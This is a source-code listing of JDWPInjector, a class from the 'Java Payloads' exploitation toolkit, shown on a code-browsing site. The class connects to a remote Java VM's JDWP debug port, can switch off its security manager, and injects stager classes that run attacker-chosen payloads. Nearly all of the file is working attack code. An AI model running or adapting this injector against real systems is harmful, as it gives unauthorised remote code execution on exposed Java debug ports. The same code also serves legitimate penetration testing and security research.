Package javapayload.builder

Source Code of javapayload.builder.JDWPInjector

/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
*   this list of conditions and the following disclaimer.
*  
* - Redistributions in binary form must reproduce the above copyright
*   notice, this list of conditions and the following disclaimer in the
*   documentation and/or other materials provided with the distribution.
*  
* - Neither name of the copyright holders nor the names of its
*   contributors may be used to endorse or promote products derived from
*   this software without specific prior written permission.
*  
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

package javapayload.builder;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.PrintStream;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;

import javapayload.handler.stager.StagerHandler;

import com.sun.jdi.ClassType;
import com.sun.jdi.ThreadReference;
import com.sun.jdi.VirtualMachine;
import com.sun.jdi.VirtualMachineManager;
import com.sun.jdi.connect.AttachingConnector;
import com.sun.jdi.connect.ListeningConnector;
import com.sun.jdi.connect.Connector.Argument;
import com.sun.jdi.event.Event;
import com.sun.jdi.event.EventIterator;
import com.sun.jdi.event.EventSet;
import com.sun.jdi.event.StepEvent;
import com.sun.jdi.request.StepRequest;

public class JDWPInjector {

  public static ClassType inject(VirtualMachine vm, byte[][] classes, String embeddedArgs, boolean disableSecurityManager, PrintStream consoleOut) throws Exception {
    ClassType result = null;
    consoleOut.println("== Preparing...");
    if (vm.eventRequestManager().stepRequests().size() > 0) {
      throw new RuntimeException("Some threads are currently stepping");
    }
    for (int i = 0; i < vm.allThreads().size(); i++) {
      final ThreadReference tr = (ThreadReference) vm.allThreads().get(i);
      vm.eventRequestManager().createStepRequest(tr, StepRequest.STEP_MIN, StepRequest.STEP_INTO).enable();
    }
    final com.sun.jdi.event.EventQueue q = vm.eventQueue();
    boolean done = false;
    consoleOut.println("== Handling events...");
    vm.resume();
    while (true) {
      final EventSet es;
      if (!done) {
        es = q.remove();
      } else {
        es = q.remove(1000);
        if (es == null) {
          break;
        }
      }
      for (final EventIterator ei = es.eventIterator(); ei.hasNext();) {
        final Event e = ei.nextEvent();
        consoleOut.println("== Event received: " + e.toString());
        if (!done && e instanceof StepEvent) {
          final StepEvent se = (StepEvent) e;
          final ThreadReference tr = se.thread();
          vm.eventRequestManager().deleteEventRequest(se.request());
          final List stepRequests = new ArrayList(vm.eventRequestManager().stepRequests());
          for (int i = 0; i < stepRequests.size(); i++) {
            ((StepRequest) stepRequests.get(i)).disable();
          }
          if (disableSecurityManager) {
            consoleOut.println("== Disabling security manager...");
            ClassType _System = (ClassType) vm.classesByName("java.lang.System").get(0);
            _System.setValue(_System.fieldByName("security"), null);
          }
          consoleOut.println("== Trying to inject...");
          try {
            final JDWPClassInjector ci = new JDWPClassInjector(tr);
            for (int i = 0; i < classes.length; i++) {
              ClassType ct = ci.inject(classes[i], i == classes.length - 1 ? embeddedArgs : null);
              if (i==0) result = ct;
            }
            consoleOut.println("== done.");
            done = true;
            for (int i = 0; i < stepRequests.size(); i++) {
              vm.eventRequestManager().deleteEventRequest((StepRequest) stepRequests.get(i));
            }
          } catch (final Throwable ex) {
            ex.printStackTrace();
            for (int i = 0; i < stepRequests.size(); i++) {
              ((StepRequest) stepRequests.get(i)).enable();
            }
          }
        }
      }
      es.resume();
    }
    return result;
  }

  public static void main(String[] args) throws Exception {
    if (args.length < 4) {
      System.out.println("Usage: java javapayload.builder.JDWPInjector <port|hostname:port|port!|hostname:port!> <stager> [stageroptions] -- <stage> [stageoptions]");
      return;
    }
    final String[] stagerArgs = new String[args.length - 1];
    for (int i = 1; i < args.length; i++) {
      stagerArgs[i - 1] = args[i];
    }
    StagerHandler.Loader loader = new StagerHandler.Loader(stagerArgs);
    inject(args[0], loader, stagerArgs);
  }
 
  public static void inject(String connector, final StagerHandler.Loader loader, String[] stagerArgs) throws Exception {
    final String stager = stagerArgs[0];
    final VirtualMachineManager vmm = com.sun.jdi.Bootstrap.virtualMachineManager();
    VirtualMachine vm = null;
    boolean disableSecurityManager = false;
    if (connector.endsWith("!")) {
      disableSecurityManager = true;
      connector = connector.substring(0, connector.length()-1);
    }
    final int pos = connector.lastIndexOf(':');
    if (pos == -1) {
      final int port = Integer.parseInt(connector);
      for (int i = 0; i < vmm.listeningConnectors().size(); i++) {
        final ListeningConnector lc = (ListeningConnector) vmm.listeningConnectors().get(i);
        if (lc.name().equals("com.sun.jdi.SocketListen")) {
          final Map connectorArgs = lc.defaultArguments();
          ((Argument) connectorArgs.get("port")).setValue("" + port);
          lc.startListening(connectorArgs);
          vm = lc.accept(connectorArgs);
          lc.stopListening(connectorArgs);
        }
      }
    } else {
      final int port = Integer.parseInt(connector.substring(pos + 1));
      for (int i = 0; i < vmm.attachingConnectors().size(); i++) {
        final AttachingConnector ac = (AttachingConnector) vmm.attachingConnectors().get(i);
        if (ac.name().equals("com.sun.jdi.SocketAttach")) {
          final Map connectorArgs = ac.defaultArguments();
          ((Argument) connectorArgs.get("hostname")).setValue(connector.substring(0, pos));
          ((Argument) connectorArgs.get("port")).setValue("" + port);
          vm = ac.attach(connectorArgs);
          break;
        }
      }
    }
    boolean isJDWPTunnelStager = stager.equals("JDWPTunnel");
    loader.handleBefore(loader.stageHandler.consoleErr, null); // may modify stagerArgs
    final StringBuffer embeddedArgs = new StringBuffer();
    for (int i = 0; i < stagerArgs.length; i++) {
      if (i != 0) {
        embeddedArgs.append("\n");
      }
      embeddedArgs.append("$").append(stagerArgs[i]);
    }
    Class[] classes = new Class[] {
        javapayload.stager.Stager.class,
        Class.forName("javapayload.stager." + stager),
        javapayload.loader.JDWPLoader.class
    };
    if (isJDWPTunnelStager) {
      classes = new Class[] {
          javapayload.loader.JDWPCommunication.class,
          javapayload.stager.Stager.class,
          javapayload.stager.JDWPTunnel.class,
          javapayload.loader.JDWPLoader.class
      };
    }
    final byte[][] classBytes = new byte[classes.length][];
    for (int i = 0; i < classes.length; i++) {
      final InputStream in = JDWPInjector.class.getResourceAsStream("/" + classes[i].getName().replace('.', '/') + ".class");
      final ByteArrayOutputStream out = new ByteArrayOutputStream();
      final byte[] tmp = new byte[4096];
      int len;
      while ((len = in.read(tmp)) != -1) {
        out.write(tmp, 0, len);
      }
      in.close();
      out.close();
      classBytes[i] = out.toByteArray();
      if (classBytes[i] == null) {
        throw new RuntimeException();
      }
    }
    ClassType firstInjectedClass = inject(vm, classBytes, embeddedArgs.toString(), disableSecurityManager, loader.stageHandler.consoleOut);

    if (isJDWPTunnelStager) {
      loader.handleAfter(loader.stageHandler.consoleErr, firstInjectedClass);
    } else {
      vm.dispose();
      loader.handleAfter(loader.stageHandler.consoleErr, null);
    }
  }
}
TOP

Related Classes of javapayload.builder.JDWPInjector

TOP
Copyright © 2018 www.massapi.com. All rights reserved.
All source code are property of their respective owners. Java is a trademark of Sun Microsystems, Inc and owned by ORACLE Inc. Contact coftware#gmail.com.